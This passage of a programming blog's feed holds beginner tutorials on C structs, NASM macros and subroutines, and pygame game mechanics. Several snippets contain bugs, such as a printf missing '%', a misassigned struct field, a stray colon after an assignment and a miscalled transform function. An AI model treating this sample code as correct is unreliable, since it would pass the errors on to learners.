        } while (ch != EOF);
        &amp;#x2F;&amp;#x2F; Closing the file
        fclose(fptr);
    }

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Struct In C</title>
        <published>2023-09-11T00:00:00+00:00</published>
        <updated>2023-09-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/strcut-in-c/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/strcut-in-c/</id>
        <content type="html">&lt;h1 id=&quot;what-are-structs&quot;&gt;What are structs&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;collection of related members (“variables”)&lt;&#x2F;li&gt;
&lt;li&gt;very similar to classes in other programming languages&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

struct Player
{
  char name[12];
  int score;
};

int main(){

  struct Player player1;
  struct Player player2;

  strcpy(player1.name, &amp;quot;Adam&amp;quot;);
  player2.score = 4;

  strcpy(player2.name, &amp;quot;Peter&amp;quot;);
  player2.score = 6;

  printf(&amp;quot;%s\n&amp;quot;, player1.name);
  printf(&amp;quot;d\n&amp;quot;, player1.score);


  printf(&amp;quot;%s\n&amp;quot;, player2.name);
  printf(&amp;quot;d\n&amp;quot;, player2.score);

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Subroutines, Macros And Defining Values With EQU In NASM</title>
        <published>2023-07-08T00:00:00+00:00</published>
        <updated>2023-07-08T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/subroutines-macros-and-defining-values-with-equ-in-nasm/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/subroutines-macros-and-defining-values-with-equ-in-nasm/</id>
        <content type="html">&lt;h2 id=&quot;subroutines&quot;&gt;Subroutines&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Subroutines are similar to functions.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;sample-program&quot;&gt;Sample Program&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;section .data
        text db &amp;quot;Hello World!&amp;quot;,10,0
        text2 db &amp;quot;Arigato&amp;quot;,10,0
section .text
        global _start

_start:
        mov rax, text
        call _print

        mov rax, text2
        call _print

        mov rax, 60
        mov rdi, 0
        syscall

;input: rax as pointer to string
;output: print string at rax
;rbx = counter of the loop
_print:
        push rax
        mov rbx, 0
_printloop:
        inc rax
        inc rbx
        mov cl, [rax]
        cmp cl, 0
        jne _printloop

        mov rax,1
        mov rdi,1
        pop rsi
        mov rdx, rbx
        syscall
        ret
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;macros&quot;&gt;Macros&lt;&#x2F;h2&gt;
&lt;p&gt;A macro is a single instruction that expands into a predefined set of instructions to perform a particular task.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;defining-macros&quot;&gt;Defining Macros&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;%macro &amp;lt;name&amp;gt; &amp;lt;argc&amp;gt;
    ...
    &amp;lt;macro body&amp;gt;
    ...
%endmacro
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;defining-values-with-equ&quot;&gt;Defining Values With EQU&lt;&#x2F;h2&gt;
&lt;p&gt;EQU is used for defining constants for future use.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt; equ &amp;lt;value&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;sample-program-1&quot;&gt;Sample Program&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;STDIN equ 0
STDOUT equ 1
STDERR equ 2

SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60

section .data
        digit db 0,10

section .text
        global _start

%macro exit 0
        mov rax, SYS_EXIT
        mov rdi, 0
        syscall
%endmacro


%macro printdigit 1
        mov rax, %1
        call _printraxdigit
%endmacro


%macro printdigitsum 2
        mov rax, %1
        add rax, %2
        call _printraxdigit
%endmacro

_start:
        printdigit 49
        printdigit 50

        printdigitsum 49, 51

        exit

_printraxdigit:
        ;mov rax, 50
        mov [digit], al
        mov rax, SYS_WRITE
        mov rdi, STDOUT
        mov rsi, digit
        mov rdx, 2
        syscall
        ret
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Displaying The Score In Pygame</title>
        <published>2023-06-11T00:00:00+00:00</published>
        <updated>2023-06-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/displaying-score-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/displaying-score-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;method&quot;&gt;Method&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;pygame.time.get_ticks()&lt;&#x2F;code&gt; – returns the time since the game started in milliseconds&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Update the score on every frame&lt;&#x2F;li&gt;
&lt;li&gt;put the score on a surface&lt;&#x2F;li&gt;
&lt;li&gt;display the score surface&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;# function to calculate the score
start_time = 0
def display_score():
    current_time = int(pygame.time.get_ticks() &amp;#x2F; 1000) - start_time
    score_surface = test_font.render(f&amp;#x27;SCORE : {current_time}&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)
    score_rectangle = score_surface.get_rect(midtop = (288,50))
    screen.blit(score_surface,score_rectangle)
    #print(current_time)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;# inside the event loop code to restart the game by space
if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                    game_active = True
                    enemy_recatngle.right = 590
                    start_time = int(pygame.time.get_ticks() &amp;#x2F; 1000) # resets the time when space is pressed to restart the game
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;implementation-example&quot;&gt;Implementation Example&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;# game

import pygame
from sys import exit

# initialize pygame
pygame.init()

# screen size
screen = pygame.display.set_mode((576,400))

game_active = True

# title
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)

clock = pygame.time.Clock()

# sky and ground surfaces
ground_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;ground.png&amp;#x27;).convert_alpha()
sky_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;sky.png&amp;#x27;).convert_alpha()

# &amp;quot;My Game&amp;quot; font
test_font = pygame.font.Font(&amp;#x27;assets&amp;#x2F;fonts&amp;#x2F;font1.ttf&amp;#x27;, 25)
# text_surface = test_font.render(&amp;#x27;My Runner Game&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)
# text_rectangle = text_surface.get_rect(midtop = (288,50))

############################################################################################################
############################################################################################################
# displaying score
start_time = 0
def display_score():
    current_time = int(pygame.time.get_ticks() &amp;#x2F; 1000) - start_time
    score_surface = test_font.render(f&amp;#x27;SCORE : {current_time}&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)
    score_rectangle = score_surface.get_rect(midtop = (288,50))
    screen.blit(score_surface,score_rectangle)
    #print(current_time)
############################################################################################################
############################################################################################################


# enemy
enemy_image = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;enemy&amp;#x2F;enemy.png&amp;#x27;).convert_alpha()
enemy_recatngle = enemy_image.get_rect(midbottom = (576,324))

# Player
player_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;player&amp;#x2F;player.png&amp;#x27;).convert_alpha()
player_rectangle = player_surface.get_rect(midbottom = (100,324))

player_gravity = 0

while True:
    for event in pygame.event.get():  
        # code to exit the game
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()

        if game_active:

            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE and player_rectangle.bottom &amp;gt;= 324: # check whether the player is in the ground and the space key is pressed
                    player_gravity = -20

            if event.type == pygame.MOUSEBUTTONDOWN:
                if player_rectangle.collidepoint((event.pos)) and player_rectangle.bottom &amp;gt;= 324: # check whether the mouse touches the player and player is in the ground
                    player_gravity = -20

            if event.type == pygame.KEYUP: # triggers when a pressed key is released
                print(&amp;quot;key Up&amp;quot;)

############################################################################################################
############################################################################################################

        else:        
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                    game_active = True
                    enemy_recatngle.right = 590
                    start_time = int(pygame.time.get_ticks() &amp;#x2F; 1000) # resets the time when space is pressed to restart the game

############################################################################################################
############################################################################################################


    if game_active:
        # display the sky and the ground
        screen.blit(sky_surface, (0,0))
        screen.blit(ground_surface, (0,76)) # (400-324)

        # display the text
        # pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle)
        # pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle,20)
        # screen.blit(text_surface, text_rectangle)

############################################################################################################
############################################################################################################

        # display the score
        display_score()

############################################################################################################
############################################################################################################

        # animation of enemy
        screen.blit(enemy_image, enemy_recatngle)
        enemy_recatngle.right -= 4
        if enemy_recatngle.right &amp;lt;= 0:
            enemy_recatngle.right = 590


        # player
        player_gravity += 1
        player_rectangle.y += player_gravity

        # Creating the floor
        if player_rectangle.bottom &amp;gt;= 324: player_rectangle.bottom = 324

        # displaying the player
        screen.blit(player_surface, player_rectangle)

        # player collission
        if player_rectangle.colliderect(enemy_recatngle):
            game_active = False  # doesn&amp;#x27;t quit the game it freezes

    else:
        screen.fill(&amp;#x27;Yellow&amp;#x27;)



    pygame.display.update()

    # frames per second (FPS)
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Spawning Multiple Objects In Pygame (Using Timers) </title>
        <published>2023-06-11T00:00:00+00:00</published>
        <updated>2023-06-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/spawning-multiple-objects-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/spawning-multiple-objects-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;timers&quot;&gt;Timers&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;custom user events that are triggered in certain time intervals&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;method&quot;&gt;Method&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;Create Custom Events&lt;&#x2F;li&gt;
&lt;li&gt;Tell pygame to trigger that event continously&lt;&#x2F;li&gt;
&lt;li&gt;Add code in event loop to do something the timer is triggered&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.time.set_timer(evetn to be triggered, time time interval in milliseconds)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;we create a list of obstacles rectangles&lt;&#x2F;li&gt;
&lt;li&gt;everytime the timer triggers we add a new rectangle to that list&lt;&#x2F;li&gt;
&lt;li&gt;we move every rectangle in that list to the left on every frame&lt;&#x2F;li&gt;
&lt;li&gt;delete rectangles that goes too far left&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>State Management In Pygame</title>
        <published>2023-06-11T00:00:00+00:00</published>
        <updated>2023-06-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/state-management-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/state-management-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;method&quot;&gt;Method&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;game_active = True # global variable

if game_active:
    current game code
    (stores the game part of the game)
else:
    game_over
    (stores intro&amp;#x2F;menu of the game)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;# if the player collide with the enemy, screen becomes Yellow
game_active = True: # global variable


if game_active:
        # display the sky and the ground
        screen.blit(sky_surface, (0,0))
        screen.blit(ground_surface, (0,76)) # (400-324)

        # display the text
        pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle)
        pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle,20)
        screen.blit(text_surface, text_rectangle)

        # animation of enemy
        screen.blit(enemy_image, enemy_recatngle)
        enemy_recatngle.right -= 4
        if enemy_recatngle.right &amp;lt;= 0:
            enemy_recatngle.right = 590


        # player
        player_gravity += 1
        player_rectangle.y += player_gravity

        # Creating the floor
        if player_rectangle.bottom &amp;gt;= 324: player_rectangle.bottom = 324

        # displaying the player
        screen.blit(player_surface, player_rectangle)

        # player collission
        if player_rectangle.colliderect(enemy_recatngle):
            game_active = False  # doesn&amp;#x27;t quit the game it freezes

    else:
        screen.fill(&amp;#x27;Yellow&amp;#x27;)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;game-implementation&quot;&gt;Game Implementation&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;# game state Implementation Example Code

import pygame
from sys import exit

# initialize pygame
pygame.init()

# screen size
screen = pygame.display.set_mode((576,400))

game_active = True

# title
pygame.display.set_caption(&amp;#x27;Runner&amp;#x27;)

clock = pygame.time.Clock()

# sky and ground surfaces
ground_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;ground.png&amp;#x27;).convert_alpha()
sky_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;background&amp;#x2F;sky.png&amp;#x27;).convert_alpha()

# &amp;quot;My Game&amp;quot; font
test_font = pygame.font.Font(&amp;#x27;assets&amp;#x2F;fonts&amp;#x2F;font1.ttf&amp;#x27;, 25)
text_surface = test_font.render(&amp;#x27;My Runner Game&amp;#x27;, False, &amp;#x27;Blue&amp;#x27;)
text_rectangle = text_surface.get_rect(midtop = (288,50))

# enemy
enemy_image = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;enemy&amp;#x2F;enemy.png&amp;#x27;).convert_alpha()
enemy_recatngle = enemy_image.get_rect(midbottom = (576,324))

# Player
player_surface = pygame.image.load(&amp;#x27;assets&amp;#x2F;characters&amp;#x2F;player&amp;#x2F;player.png&amp;#x27;).convert_alpha()
player_rectangle = player_surface.get_rect(midbottom = (100,324))

player_gravity = 0

while True:
    for event in pygame.event.get():  
        # code to exit the game
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()

        if game_active:

            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE and player_rectangle.bottom &amp;gt;= 324: # check whether the player is in the ground and the space key is pressed
                    player_gravity = -20

            if event.type == pygame.MOUSEBUTTONDOWN:
                if player_rectangle.collidepoint((event.pos)) and player_rectangle.bottom &amp;gt;= 324: # check whether the mouse touches the player and player is in the ground
                    player_gravity = -20

            if event.type == pygame.KEYUP: # triggers when a pressed key is released
                print(&amp;quot;key Up&amp;quot;)

        else:        
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                    game_active = True
                    enemy_recatngle.right = 590 # reset the enemy position

    if game_active:
        # display the sky and the ground
        screen.blit(sky_surface, (0,0))
        screen.blit(ground_surface, (0,76)) # (400-324)

        # display the text
        pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle)
        pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle,20)
        screen.blit(text_surface, text_rectangle)

        # animation of enemy
        screen.blit(enemy_image, enemy_recatngle)
        enemy_recatngle.right -= 4
        if enemy_recatngle.right &amp;lt;= 0:
            enemy_recatngle.right = 590


        # player
        player_gravity += 1
        player_rectangle.y += player_gravity

        # Creating the floor
        if player_rectangle.bottom &amp;gt;= 324: player_rectangle.bottom = 324

        # displaying the player
        screen.blit(player_surface, player_rectangle)

        # player collission
        if player_rectangle.colliderect(enemy_recatngle):
            game_active = False  # doesn&amp;#x27;t quit the game it freezes

    else:
        screen.fill(&amp;#x27;Yellow&amp;#x27;)



    pygame.display.update()

    # frames per second (FPS)
    clock.tick(60)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Transforming Surfaces In Pygame</title>
        <published>2023-06-11T00:00:00+00:00</published>
        <updated>2023-06-11T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/transforming-surfaces-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/transforming-surfaces-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;transforming&quot;&gt;Transforming&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Scaling&lt;&#x2F;li&gt;
&lt;li&gt;Rotate etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;scaling&quot;&gt;Scaling&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;scale&quot;&gt;scale&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.transform.scale(player_surface(width,height))&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;pygame.transform.scale(player_surface(100,100))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;scale2x&quot;&gt;scale2x&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.transform.scale2x(surface) – makes the x twice&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;pygame.transform.scale2x(player_surface)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;rotozoom&quot;&gt;rotozoom&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.transform.rotozoom(surface, rotation angle, scale) – can be used to scale + rotate&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;pygame.transform.rotozoom(player_surface, 0, 2)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Collisions With Rectangles &amp; Mouse Inputs In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/collisions-with-rectangle/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/collisions-with-rectangle/</id>
        <content type="html">&lt;blockquote&gt;
&lt;p&gt;rect1.colliderect(rect2) – returns a boolean value. If there is a collision it returns 1&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;rect1.collidepoint((x,y)) – check whether if one point collide with a rectangle&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;using-the-mouse&quot;&gt;Using The Mouse&lt;&#x2F;h2&gt;
&lt;p&gt;There are 2 ways of using the mouse in pygame,&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;pygame.mouse&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;pygame.mouse.get_pressed - get the state of the mouse buttons&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.get_pos - get the mouse cursor position&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.get_rel - get the amount of mouse movement&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.set_pos - set the mouse cursor position&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.set_visible - hide or show the mouse cursor&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.get_visible - get the current visibility state of the mouse cursor&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.get_focused - check if the display is receiving mouse input&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.set_cursor - set the mouse cursor to a new cursor&lt;&#x2F;li&gt;
&lt;li&gt;pygame.mouse.get_cursor - get the current mouse cursor&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;event loops&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;get mousemotion,&lt;&#x2F;li&gt;
&lt;li&gt;clicks&lt;&#x2F;li&gt;
&lt;li&gt;position etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;using-pygame-mouse&quot;&gt;Using pygame.mouse&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;mouse_position = pygame.mouse.get_pos() # getting the mouse position
if player_rectangle.collidepoint(mouse_position): # if the mouse position collide with the player rectangle (if true)
    print(pygame.mouse.get_pressed()) # return a tuple of boolean values (False,False,False)
    # (left mouse button, middle mouse button, right mouse button)
    # prints true if any of the mouse buttons click on the player rectangle
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;using-event-loops&quot;&gt;Using Event loops&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;mousemotion-used-to-get-the-mouse-position-tuple-x-y&quot;&gt;MOUSEMOTION (Used to Get the mouse position tuple (x,y))&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;for event in pygame.event.get():  
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()
        if event.type == pygame.MOUSEMOTION:
            print(event.pos) # print the coordinates of the mouse movements (234,556)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;if event.type == pygame.MOUSEMOTION:
    if player_rectangle.collidepoint((event.pos)):
        print(&amp;quot;collision&amp;quot;)
# print(&amp;quot;Collision&amp;quot;) if the mouse touches the player
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;mousebuttondown&quot;&gt;MOUSEBUTTONDOWN&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;if event.type == pygame.MOUSEBUTTONDOWN: # Triggers if we click the Mouse
    Print(&amp;quot;Mouse Button Down&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;mousebuttonup&quot;&gt;MOUSEBUTTONUP&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;if event.type == pygame.MOUSEBUTTONUP: # Triggers if we release the Mouse button
    Print(&amp;quot;Mouse Button Up&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Colours In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/colors-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/colors-in-pygame/</id>
        <content type="html">&lt;p&gt;There are two types of colours in pygame:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;RGB&lt;&#x2F;li&gt;
&lt;li&gt;hexadecimal&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;1-rgb&quot;&gt;1. RGB&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;rgb_color = (red, green, blue)
red_color = (255, 0, 0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hexadecimal&quot;&gt;hexadecimal&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;hex_color = #rrggbb
box_color = #c0e8ec
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Creating Floors For Players In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/creating-floors-for-players-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/creating-floors-for-players-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;creating-the-floor&quot;&gt;Creating The Floor&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Check the Collision between player and floor&lt;&#x2F;li&gt;
&lt;li&gt;move player up if collission&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;if player.bottom &amp;gt; 324: player.bottom = 324 (324 = the top of the ground)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;# Creating the floor
if player_rectangle.bottom &amp;gt;= 324: player_rectangle.bottom = 324 

# The screen should always be at the bottom
screen.blit(player_surface, player_rectangle)
    
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;creating-the-ceil&quot;&gt;Creating the Ceil&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_SPACE and player_rectangle.bottom &amp;gt;= 324: # if space is pressed and player is on the ground
                player_gravity = -20

        if event.type == pygame.MOUSEBUTTONDOWN:
            if player_rectangle.collidepoint((event.pos)) and player_rectangle.bottom &amp;gt;= 324: # if btn is pressed and player is on the ground
                player_gravity = -20

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Drawing Rectangles In Pygame</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/drawing-rectangles-in-pygame/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/drawing-rectangles-in-pygame/</id>
        <content type="html">&lt;h2 id=&quot;pygame-draw&quot;&gt;pygame.draw&lt;&#x2F;h2&gt;
&lt;p&gt;Can use to draw,&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;rectangles&lt;&#x2F;li&gt;
&lt;li&gt;circles&lt;&#x2F;li&gt;
&lt;li&gt;lines&lt;&#x2F;li&gt;
&lt;li&gt;points&lt;&#x2F;li&gt;
&lt;li&gt;ellipses etc.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;drawing-rectangles&quot;&gt;Drawing Rectangles&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.draw.rect(display to draw, color, rectangle)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.draw.rect(display to draw, color, rectangle, line width, border radius)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;pygame.draw.rect(screen, &amp;#x27;Pink&amp;#x27;, text_rectangle)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;drawing-lines&quot;&gt;Drawing Lines&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.draw.line(surface, color, start position(x,y), end position(x,y), width)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;# a line from top left corner to bottom right corner
pygame.draw.line(screen, &amp;#x27;Black&amp;#x27;, (0,0), (576,400), 5)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;# a line that follows the mouse
pygame.draw.line(screen, &amp;#x27;Black&amp;#x27;, (0,0), pygame.mouse.get_pos() , 5)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;drawing-ellipses&quot;&gt;Drawing Ellipses&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;pygame.draw.line(surface, color, rectangle, width)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;# drawing a elliplse in a new rectangle
pygame.draw.ellipse(screen, &amp;#x27;Brown&amp;#x27;, pygame.Rect(50,200,100,100))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Essential VSCode Shortcuts</title>
        <published>2023-06-10T00:00:00+00:00</published>
        <updated>2023-06-10T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/essential-vscode-shortcuts/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/essential-vscode-shortcuts/</id>
        <content type="html">&lt;h2 id=&quot;easily-navigate-through-files&quot;&gt;Easily Navigate Through Files&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;ctrl + shift + . &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
